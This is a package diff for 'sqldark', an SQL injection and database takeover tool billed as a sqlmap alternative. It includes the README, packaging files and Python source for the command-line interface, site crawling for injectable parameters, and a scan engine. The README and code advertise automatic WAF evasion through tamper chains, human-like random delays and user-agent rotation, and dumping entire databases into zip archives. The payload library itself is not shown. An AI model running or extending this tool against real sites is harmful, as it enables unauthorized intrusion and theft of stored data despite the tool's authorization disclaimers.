sqldark 0.1.0__tar.gz

sqldark-0.1.0/LICENSE

@@ -0,0 +1,17 @@
+MIT License
+
+Copyright (c) 2026 Muhammed Balin
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED. USE THIS TOOL ONLY ON SYSTEMS YOU OWN OR ARE EXPLICITLY AUTHORIZED
+TO TEST. THE AUTHORS ARE NOT LIABLE FOR ANY MISUSE OR DAMAGE.

sqldark-0.1.0/PKG-INFO

@@ -0,0 +1,102 @@
+Metadata-Version: 2.4
+Name: sqldark
+Version: 0.1.0
+Summary: SQLDark - Advanced SQL Injection & Database Takeover Framework
+Author: Muhammed Balin
+License: MIT
+Project-URL: Homepage, https://github.com/ThT0AltayHR/sqldark
+Keywords: sql injection,sqli,pentest,security,sqlmap,waf bypass
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: POSIX :: Linux
+Classifier: Topic :: Security
+Classifier: Environment :: Console
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: requests>=2.25
+Provides-Extra: socks
+Requires-Dist: requests[socks]; extra == "socks"
+Dynamic: license-file
+
+<h1 align="center">SQLDark</h1>
+<p align="center"><b>Advanced SQL injection &amp; database takeover framework</b><br>
+A fast, modular, terminal-only alternative to sqlmap — built for Termux &amp; Linux.</p>
+
+<p align="center"><img src="assets/demo.gif" alt="SQLDark live demo" width="820"></p>
+
+---
+
+## Why SQLDark
+
+- **Every injection family:** error-based, boolean-blind, UNION, time-blind, and stacked queries.
+- **Three extraction engines:** UNION oracle (fast), **error-based leak** (MySQL / MSSQL / PostgreSQL / Oracle), and **character-by-character boolean-blind** with per-DBMS primitives.
+- **16 database engines** recognised, with a payload library of **8,900+ vectors** split per DBMS / technique / boundary.
+- **WAF-aware:** 100+ WAF/IPS signatures (incl. PHPIDS) and automatic tamper-chain selection to get through them.
+- **41 tamper scripts** for evasion, chainable in any order.
+- **Sessions ("sezon"):** save a scan, resume it later, or delete it.
+- **Database export:** dump one table or the whole database and archive it to a zip named after the site.
+- Terminal only. No GUI, no TUI. Just the command line.
+
+## Install
+
+```bash
+pip install sqldark
+```
+
+From source:
+
+```bash
+git clone https://github.com/<user>/sqldark
+cd sqldark && pip install -e .
+```
+
+## Quick start
+
+```bash
+# Detect everything on a parameter
+sqldark -u "https://shop.example/product?id=1"
+
+# Fingerprint + dump the whole database, save a session, export to zip
+sqldark -u "https://shop.example/product?id=1" --banner --current-db --dump-all --session shop --export
+
+# No parameter? SQLDark crawls the site and finds one
+sqldark -u "https://shop.example/"
+
+# Get through a WAF automatically
+sqldark -u "https://shop.example/item?id=1" --auto-tamper --level 3
+
+# Pick your own tamper chain
+sqldark -u "https://shop.example/item?id=1" --tamper space2comment,randomcase,charencode
+```
+
+## Command groups
+
+| Group | Options |
+|-------|---------|
+| Target | `-u/--url`, `--data`, `-m/--method` |
+| Request | `--cookie`, `-H/--header`, `--proxy`, `--timeout`, `--delay`, `--random-delay`, `--random-agent`, `--csrf-url`, `--csrf-token` |
+| Detection | `--technique E,B,U,T,S`, `--level 1-5`, `--risk 1-3`, `--skip-waf` |
+| Evasion | `--tamper`, `--auto-tamper`, `--list-tampers` |
+| Enumeration | `--banner`, `--current-db`, `--tables`, `--columns`, `--dump`, `--dump-all`, `-D`, `-T`, `--max-rows` |
+| Session | `--session`, `--list-sessions`, `--delete-session`, `--export` |
+
+Run `sqldark --help` for the full, described list.
+
+## Sessions &amp; export
+
+```bash
+sqldark -u "https://shop.example/item?id=1" --dump-all --session shop --export
+sqldark --list-sessions
+sqldark --delete-session shop
+```
+
+Exports land in `./.sqldark/database/<host>/<name>.zip` — one CSV per table (original names kept) plus a `manifest.json`.
+
+## Legal
+
+SQLDark is for **authorized security testing and education only**. Use it only against systems you own or have explicit written permission to test. You are responsible for how you use it.
+
+## License
+
+MIT © Muhammed Balin

sqldark-0.1.0/README.md

@@ -0,0 +1,81 @@
+<h1 align="center">SQLDark</h1>
+<p align="center"><b>Advanced SQL injection &amp; database takeover framework</b><br>
+A fast, modular, terminal-only alternative to sqlmap — built for Termux &amp; Linux.</p>
+
+<p align="center"><img src="assets/demo.gif" alt="SQLDark live demo" width="820"></p>
+
+---
+
+## Why SQLDark
+
+- **Every injection family:** error-based, boolean-blind, UNION, time-blind, and stacked queries.
+- **Three extraction engines:** UNION oracle (fast), **error-based leak** (MySQL / MSSQL / PostgreSQL / Oracle), and **character-by-character boolean-blind** with per-DBMS primitives.
+- **16 database engines** recognised, with a payload library of **8,900+ vectors** split per DBMS / technique / boundary.
+- **WAF-aware:** 100+ WAF/IPS signatures (incl. PHPIDS) and automatic tamper-chain selection to get through them.
+- **41 tamper scripts** for evasion, chainable in any order.
+- **Sessions ("sezon"):** save a scan, resume it later, or delete it.
+- **Database export:** dump one table or the whole database and archive it to a zip named after the site.
+- Terminal only. No GUI, no TUI. Just the command line.
+
+## Install
+
+```bash
+pip install sqldark
+```
+
+From source:
+
+```bash
+git clone https://github.com/<user>/sqldark
+cd sqldark && pip install -e .
+```
+
+## Quick start
+
+```bash
+# Detect everything on a parameter
+sqldark -u "https://shop.example/product?id=1"
+
+# Fingerprint + dump the whole database, save a session, export to zip
+sqldark -u "https://shop.example/product?id=1" --banner --current-db --dump-all --session shop --export
+
+# No parameter? SQLDark crawls the site and finds one
+sqldark -u "https://shop.example/"
+
+# Get through a WAF automatically
+sqldark -u "https://shop.example/item?id=1" --auto-tamper --level 3
+
+# Pick your own tamper chain
+sqldark -u "https://shop.example/item?id=1" --tamper space2comment,randomcase,charencode
+```
+
+## Command groups
+
+| Group | Options |
+|-------|---------|
+| Target | `-u/--url`, `--data`, `-m/--method` |
+| Request | `--cookie`, `-H/--header`, `--proxy`, `--timeout`, `--delay`, `--random-delay`, `--random-agent`, `--csrf-url`, `--csrf-token` |
+| Detection | `--technique E,B,U,T,S`, `--level 1-5`, `--risk 1-3`, `--skip-waf` |
+| Evasion | `--tamper`, `--auto-tamper`, `--list-tampers` |
+| Enumeration | `--banner`, `--current-db`, `--tables`, `--columns`, `--dump`, `--dump-all`, `-D`, `-T`, `--max-rows` |
+| Session | `--session`, `--list-sessions`, `--delete-session`, `--export` |
+
+Run `sqldark --help` for the full, described list.
+
+## Sessions &amp; export
+
+```bash
+sqldark -u "https://shop.example/item?id=1" --dump-all --session shop --export
+sqldark --list-sessions
+sqldark --delete-session shop
+```
+
+Exports land in `./.sqldark/database/<host>/<name>.zip` — one CSV per table (original names kept) plus a `manifest.json`.
+
+## Legal
+
+SQLDark is for **authorized security testing and education only**. Use it only against systems you own or have explicit written permission to test. You are responsible for how you use it.
+
+## License
+
+MIT © Muhammed Balin

sqldark-0.1.0/pyproject.toml

@@ -0,0 +1,44 @@
+[build-system]
+requires = ["setuptools>=61.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "sqldark"
+version = "0.1.0"
+description = "SQLDark - Advanced SQL Injection & Database Takeover Framework"
+readme = "README.md"
+requires-python = ">=3.8"
+license = { text = "MIT" }
+authors = [{ name = "Muhammed Balin" }]
+keywords = ["sql injection", "sqli", "pentest", "security", "sqlmap", "waf bypass"]
+classifiers = [
+    "Programming Language :: Python :: 3",
+    "License :: OSI Approved :: MIT License",
+    "Operating System :: POSIX :: Linux",
+    "Topic :: Security",
+    "Environment :: Console",
+]
+dependencies = [
+    "requests>=2.25",
+]
+
+[project.optional-dependencies]
+socks = ["requests[socks]"]
+
+[project.urls]
+Homepage = "https://github.com/ThT0AltayHR/sqldark"
+
+[project.scripts]
+sqldark = "sqldark.cli:main"
+
+[tool.setuptools.packages.find]
+include = ["sqldark*"]
+
+[tool.setuptools.package-data]
+sqldark = [
+    "data/**/*.json",
+    "data/**/*.txt",
+    "waf/*.json",
+    "waf/signatures/*.json",
+    "tamper/scripts/*.py",
+]

sqldark-0.1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

sqldark-0.1.0/sqldark/__init__.py

@@ -0,0 +1,14 @@
+"""SQLDark - Advanced SQL Injection & Database Takeover Framework."""
+
+__version__ = "0.1.0"
+__author__ = "Muhammed Balin"
+__tool__ = "sqldark"
+
+BANNER = r"""
+  ___  ___  _    ___          _
+ / __|/ _ \| |  |   \ __ _ _ _| |__
+ \__ \ (_) | |__| |) / _` | '_| / /
+ |___/\__\_\____|___/\__,_|_| |_\_\
+     Advanced SQL Injection Framework  v{version}
+     legal use only - test what you own
+"""

sqldark-0.1.0/sqldark/__main__.py

@@ -0,0 +1,4 @@
+from sqldark.cli import main
+
+if __name__ == "__main__":
+    main()

sqldark-0.1.0/sqldark/cli.py

@@ -0,0 +1,186 @@
+"""SQLDark command-line interface."""
+import argparse
+import sys
+
+from sqldark import __version__, BANNER
+from sqldark.core.logger import Logger
+from sqldark.core.http import HttpClient
+from sqldark.core.engine import Engine, DEFAULT_ORDER
+from sqldark import tamper as tamper_mod
+from sqldark.session.store import SessionStore
+from sqldark.session.exporter import export_dump_to_zip
+
+
+def build_parser():
+    p = argparse.ArgumentParser(
+        prog="sqldark",
+        description="SQLDark - advanced SQL injection & database takeover framework",
+        epilog="Use only on systems you own or are authorized to test.",
+    )
+    tgt = p.add_argument_group("target")
+    tgt.add_argument("-u", "--url", help="target URL (use * to mark an injection point)")
+    tgt.add_argument("--data", help="POST data string (a=1&b=2)")
+    tgt.add_argument("-m", "--method", default=None, help="HTTP method override")
+
+    req = p.add_argument_group("request")
+    req.add_argument("--cookie", help="HTTP Cookie header")
+    req.add_argument("-H", "--header", action="append", default=[],
+                     help="extra header 'Name: value' (repeatable)")
+    req.add_argument("--proxy", help="proxy url e.g. http://127.0.0.1:8080")
+    req.add_argument("--timeout", type=float, default=15)
+    req.add_argument("--delay", type=float, default=0.0, help="delay between requests (s)")
+    req.add_argument("--retries", type=int, default=2)
+    req.add_argument("--random-agent", action="store_true", help="rotate User-Agent")
+    req.add_argument("--random-delay", type=float, default=0.0,
+                     help="add up to N seconds of random jitter per request (human-like)")
+    req.add_argument("--csrf-url", help="URL to fetch a fresh anti-CSRF token from")
+    req.add_argument("--csrf-token", dest="csrf_field",
+                     help="name of the anti-CSRF token field to refresh")
+
+    det = p.add_argument_group("detection")
+    det.add_argument("--technique", default=DEFAULT_ORDER,
+                     help=f"technique letters to use (default {DEFAULT_ORDER}: "
+                          "E=error B=boolean U=union T=time)")
+    det.add_argument("--skip-waf", action="store_true", help="skip WAF fingerprinting")
+    det.add_argument("--level", type=int, default=1, choices=range(1,6),
+                     help="1-5: how many payload-library boundaries to try (wider=deeper)")
+    det.add_argument("--risk", type=int, default=1, choices=range(1,4),
+                     help="1-3: how aggressive the payloads may be")
+
+    ev = p.add_argument_group("evasion")
+    ev.add_argument("--tamper", help="comma-separated tamper scripts")
+    ev.add_argument("--list-tampers", action="store_true", help="list tamper scripts and exit")
+    ev.add_argument("--auto-tamper", action="store_true",
+                    help="auto-pick a tamper chain from the detected WAF")
+
+    enu = p.add_argument_group("enumeration")
+    enu.add_argument("-b", "--banner", action="store_true", help="retrieve DBMS banner/version")
+    enu.add_argument("--current-db", action="store_true", help="retrieve current database name")
+    enu.add_argument("--tables", action="store_true", help="enumerate tables")
+    enu.add_argument("--columns", action="store_true", help="enumerate columns")
+    enu.add_argument("--dump", action="store_true", help="dump rows of the target table")
+    enu.add_argument("--dump-all", action="store_true",
+                     help="dump every table of the current database")
+    enu.add_argument("-D", dest="db", help="database to enumerate")
+    enu.add_argument("-T", dest="table", help="table to target")
+    enu.add_argument("--max-rows", type=int, default=50, help="max rows to dump")
+
+    out = p.add_argument_group("output")
+    out.add_argument("-v", "--verbose", action="count", default=1,
+                     help="increase verbosity (-vv, -vvv)")
+    out.add_argument("-q", "--quiet", action="store_true")
+    out.add_argument("--no-color", action="store_true")
+    out.add_argument("--no-banner", action="store_true")
+    p.add_argument("--version", action="version", version=f"sqldark {__version__}")
+
+    ses = p.add_argument_group("session")
+    ses.add_argument("--session", metavar="NAME",
+                     help="save results to / resume from a named session (sezon)")
+    ses.add_argument("--list-sessions", action="store_true",
+                     help="list saved sessions and exit")
+    ses.add_argument("--delete-session", metavar="NAME",
+                     help="delete a saved session and exit")
+    ses.add_argument("--export", action="store_true",
+                     help="export dumped databases to a zip (named after the site)")
+    return p
+
+
+def parse_headers(items):
+    headers = {}
+    for h in items:
+        if ":" in h:
+            k, v = h.split(":", 1)
+            headers[k.strip()] = v.strip()
+    return headers
+
+
+def main(argv=None):
+    parser = build_parser()
+    args = parser.parse_args(argv)
+
+    verbose = 0 if args.quiet else args.verbose
+    log = Logger(verbose=verbose, use_color=not args.no_color)
+
+    if not args.no_banner and not args.quiet:
+        log.banner(BANNER.format(version=__version__))
+
+    if args.list_tampers:
+        for name, desc in tamper_mod.available().items():
+            print(f"  {name:<22} {desc}")
+        return 0
+
+    if args.list_sessions:
+        store = SessionStore()
+        rows = store.list()
+        if not rows:
+            log.info("no saved sessions")
+        for r in rows:
+            log.info(f"{r['name']:<20} {r['dbms']:<12} {r['saved_at']}  {r['target']}")
+        return 0
+
+    if args.delete_session:
+        store = SessionStore()
+        ok = store.delete(args.delete_session)
+        log.ok(f"deleted session {args.delete_session}") if ok else \
+            log.warn(f"no such session: {args.delete_session}")
+        return 0
+
+    if not args.url:
+        parser.error("a target is required (-u/--url)")
+
+    tampers = []
+    if args.tamper:
+        try:
+            tampers = tamper_mod.get(args.tamper.split(","))
+            log.info("tamper chain: " + " -> ".join(t.name for t in tampers))
+        except KeyError as e:
+            log.error(str(e))
+            return 2
+
+    method = args.method or ("POST" if args.data else "GET")
+    http = HttpClient(
+        log, timeout=args.timeout, delay=args.delay, retries=args.retries,
+        proxy=args.proxy, headers=parse_headers(args.header),
+        cookies=args.cookie, tampers=tampers, random_agent=args.random_agent,
+        random_delay=args.random_delay, csrf_url=args.csrf_url,
+        csrf_field=args.csrf_field,
+    )
+
+    store = SessionStore() if (args.session or args.export) else None
+    if args.session and store.load(args.session):
+        prior = store.load(args.session)
+        log.info(f"resuming session '{args.session}' "
+                 f"(saved {prior.get('_saved_at','?')}, DBMS {prior.get('dbms','?')})")
+
+    engine = Engine(http, log, techniques=args.technique, skip_waf=args.skip_waf,
+                    auto_tamper=getattr(args, 'auto_tamper', False),
+                    level=args.level, risk=args.risk)
+    enum_opts = {
+        "banner": args.banner, "current_db": args.current_db,
+        "tables": args.tables, "columns": args.columns, "dump": args.dump,
+        "dump_all": args.dump_all,
+        "db": args.db, "table": args.table, "max_rows": args.max_rows,
+    }
+    try:
+        findings = engine.scan(args.url, method=method, data=args.data,
+                               enum_opts=enum_opts)
+    except KeyboardInterrupt:
+        log.warn("interrupted by user")
+        return 130
+
+    enum_result = getattr(engine, "last_enum", None)
+    if args.session and store is not None:
+        payload = {"target": args.url, "method": method}
+        if enum_result:
+            payload.update(enum_result)
+        path = store.save(args.session, payload)
+        log.ok(f"session saved: {path}")
+    if args.export and enum_result:
+        zp = export_dump_to_zip(args.url, enum_result, label=args.session)
+        log.ok(f"database exported: {zp}")
+
+    return 0 if findings else 1
+
+
+if __name__ == "__main__":
+    sys.exit(main())

sqldark-0.1.0/sqldark/core/discovery.py

@@ -0,0 +1,67 @@
+"""Parameter discovery: when the user gives a bare URL with no injectable
+parameter, crawl the page for links and forms and surface candidate params."""
+import re
+from urllib.parse import urlparse, urljoin, parse_qsl
+
+HREF = re.compile(r'href=["\']([^"\'#]+)["\']', re.I)
+FORM = re.compile(r'<form[^>]*>(.*?)</form>', re.I | re.S)
+ACTION = re.compile(r'action=["\']([^"\']*)["\']', re.I)
+METHOD = re.compile(r'method=["\']([^"\']*)["\']', re.I)
+INPUT = re.compile(r'<(?:input|textarea|select)[^>]*name=["\']([^"\']+)["\']', re.I)
+
+# Common parameter names worth probing when nothing else is found.
+COMMON = ["id", "cat", "page", "pid", "item", "product", "user", "uid",
+          "name", "search", "q", "query", "category", "article", "news"]
+
+
+class Discovery:
+    def __init__(self, http, log, max_links=50):
+        self.http = http
+        self.log = log
+        self.max_links = max_links
+
+    def find(self, base_url):
+        """Return a list of candidate target descriptors: {url, method, data}."""
+        self.log.info(f"no parameter supplied; crawling {base_url} for injection points")
+        resp = self.http.send(base_url, method="GET")
+        host = urlparse(base_url).netloc
+        candidates = []
+        seen = set()
+
+        # 1) Links on the page that carry a query string
+        for href in HREF.findall(resp.text)[: self.max_links]:
+            full = urljoin(base_url, href)
+            if urlparse(full).netloc != host:
+                continue
+            q = parse_qsl(urlparse(full).query)
+            if q and full not in seen:
+                seen.add(full)
+                candidates.append({"url": full, "method": "GET", "data": None})
+                self.log.ok(f"found GET params {[k for k, _ in q]} at {full}")
+
+        # 2) Forms on the page
+        for form_html in FORM.findall(resp.text):
+            action = ACTION.search(form_html)
+            method = (METHOD.search(form_html) or [None, "GET"])
+            m = (method.group(1) if hasattr(method, "group") else "GET").upper()
+            names = INPUT.findall(form_html)
+            if not names:
+                continue
+            target = urljoin(base_url, action.group(1)) if action else base_url
+            data = "&".join(f"{n}=1" for n in names)
+            if m == "POST":
+                candidates.append({"url": target, "method": "POST", "data": data})
+            else:
+                sep = "&" if urlparse(target).query else "?"
+                candidates.append({"url": f"{target}{sep}{data}", "method": "GET",
+                                   "data": None})
+            self.log.ok(f"found {m} form -> {target} fields {names}")
+
+        # 3) Fallback: probe the base URL with common parameter names
+        if not candidates:
+            self.log.warn("no links/forms with parameters; probing common names")
+            sep = "&" if urlparse(base_url).query else "?"
+            guess = "&".join(f"{p}=1" for p in COMMON)
+            candidates.append({"url": f"{base_url}{sep}{guess}", "method": "GET",
+                               "data": None})
+        return candidates

sqldark-0.1.0/sqldark/core/engine.py

@@ -0,0 +1,106 @@
+"""Orchestration: baseline, WAF fingerprint, per-point technique sweep."""
+from sqldark.core.target import Target
+from sqldark.waf.detector import WafDetector
+from sqldark.dbms.errors import match_dbms
+from sqldark.techniques.error_based import ErrorBased
+from sqldark.techniques.boolean_blind import BooleanBlind
+from sqldark.techniques.time_blind import TimeBlind
+from sqldark.techniques.union_based import UnionBased
+from sqldark.techniques.stacked_queries import StackedQueries
+from sqldark.core.discovery import Discovery
+from sqldark.enumeration.driver import run_enumeration
+from sqldark.waf.tamper_advisor import recommend as recommend_tampers
+from sqldark import tamper as _tamper_mod
+
+TECHNIQUE_MAP = {
+    "E": ErrorBased,
+    "B": BooleanBlind,
+    "U": UnionBased,
+    "T": TimeBlind,
+    "S": StackedQueries,
+}
+DEFAULT_ORDER = "EBUT"
+
+
+class Engine:
+    def __init__(self, http, log, techniques=DEFAULT_ORDER, skip_waf=False,
+                 auto_tamper=False, level=1, risk=1):
+        self.http = http
+        self.log = log
+        self.order = [c for c in techniques.upper() if c in TECHNIQUE_MAP]
+        self.skip_waf = skip_waf
+        self.auto_tamper = auto_tamper
+        self.level = level
+        self.risk = risk
+
+    def scan(self, url, method="GET", data=None, enum_opts=None):
+        target = Target(url, method=method, data=data)
+        if not target.points:
+            # No parameter in the URL: discover one, then retry on it.
+            disc = Discovery(self.http, self.log)
+            for cand in disc.find(url):
+                res = self.scan(cand["url"], method=cand["method"],
+                                data=cand["data"], enum_opts=enum_opts)
+                if res:
+                    return res
+            self.log.error("no injectable parameters found after discovery")
+            return []
+
+        self.log.info(f"target has {len(target.points)} injection point(s)")
+
+        # Baseline from the first point's original value
+        first = target.points[0]
+        base_url, base_data = first.build("")
+        baseline = self.http.send(base_url, method=first.method, data=base_data)
+        self._baseline = baseline
+        self.log.info(f"baseline: HTTP {baseline.status}, "
+                      f"{baseline.length} bytes, {baseline.elapsed:.2f}s")
+        base_db = match_dbms(baseline.text)
+        if base_db:
+            self.log.warn(f"baseline page already shows a {base_db} error")
+
+        if not self.skip_waf:
+            waf = WafDetector(self.http, self.log).detect(first, baseline)
+            if waf["detected"]:
+                rec = recommend_tampers(waf.get("name"))
+                if self.auto_tamper and not self.http.tampers and rec:
+                    try:
+                        chain = _tamper_mod.get(rec)
+                        self.http.tampers = chain
+                        self.log.warn("auto-tamper enabled for "
+                                      f"{waf.get('name')}: " + " -> ".join(t.name for t in chain))
+                    except Exception as ex:
+                        self.log.warn(f"auto-tamper could not load chain: {ex}")
+                elif waf.get("blocking") and rec:
+                    self.log.warn("WAF is actively blocking; suggested: --tamper "
+                                  + ",".join(rec))
+
+        findings = []
+        for point in target.points:
+            self.log.info(f"testing parameter '{point.name}' ({point.place})")
+            for letter in self.order:
+                tech = TECHNIQUE_MAP[letter](self.http, self.log)
+                tech.level = self.level
+                tech.risk = self.risk
+                res = tech.test(point, baseline)
+                if res.vulnerable:
+                    findings.append(res)
+                    self.log.crit(
+                        f"parameter '{point.name}' is INJECTABLE "
+                        f"({res.technique}"
+                        f"{', ' + res.dbms if res.dbms else ''})")
+        self._summary(findings)
+        self.last_enum = None
+        if findings and enum_opts and any(enum_opts.get(k) for k in
+                ("banner", "current_db", "tables", "columns", "dump", "dump_all")):
+            self.last_enum = run_enumeration(self.http, self.log, findings,
+                                             baseline, enum_opts)
+        return findings
+
+    def _summary(self, findings):
+        self.log.info(f"total HTTP requests: {self.http.request_count}")
+        if not findings:
+            self.log.info("no SQL injection found with current settings")
+            return
+        dbms = next((f.dbms for f in findings if f.dbms), "unknown")
+        self.log.ok(f"injectable: {len(findings)} vector(s), back-end DBMS: {dbms}")